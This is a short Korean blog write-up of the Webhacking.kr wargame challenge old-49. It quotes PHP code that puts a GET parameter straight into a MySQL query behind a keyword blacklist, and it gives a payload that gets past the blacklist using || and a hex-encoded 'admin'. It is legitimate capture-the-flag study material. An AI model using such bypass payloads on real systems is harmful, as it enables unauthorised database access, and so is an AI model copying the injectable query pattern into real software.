Web Hacking/Webhacking.kr
[Webhacking.kr] old-49
ruming
2021. 9. 26. 21:40
46번과 비슷한 SQL INJECTION 문제다.
소스코드에서 중요한 부분만 가져왔다.
...
<?php
if($_GET['lv']){
$db = dbconnect();
if(preg_match("/select|or|and|\(|\)|limit|,|\/|order|cash| |\t|\'|\"/i",$_GET['lv'])) exit("no hack");
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall49 where lv={$_GET['lv']}"));
echo $result[0] ;
if($result[0]=="admin") solve(49);
}
?>
...
if(preg_match("/select|or|and|\(|\)|limit|,|\/|order|cash| |\t|\'|\"/i",$_GET['lv'])) exit("no hack");
select or and ( ) limit , \ order cash 공백 탭(\t) ' "
위의 문자들을 필터링하고 있다.
쿼리
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall49 where lv={$_GET['lv']}"));
$_GET['lv']에서 입력을 받아 id를 select한다.
if($result[0]=="admin") solve(49);
풀이조건은 result[0]이 admin이면 된다.
아래와 같은 방식으로 쿼리문을 참으로 만들면 되는데 필터링을 잘 우회해야 할 것 같다.
lv = 0 || id ='admin'
admin을 hex로 필터링해서 넣어보았다.
lv=0||id=0x61646d696e
문제를 해결했다!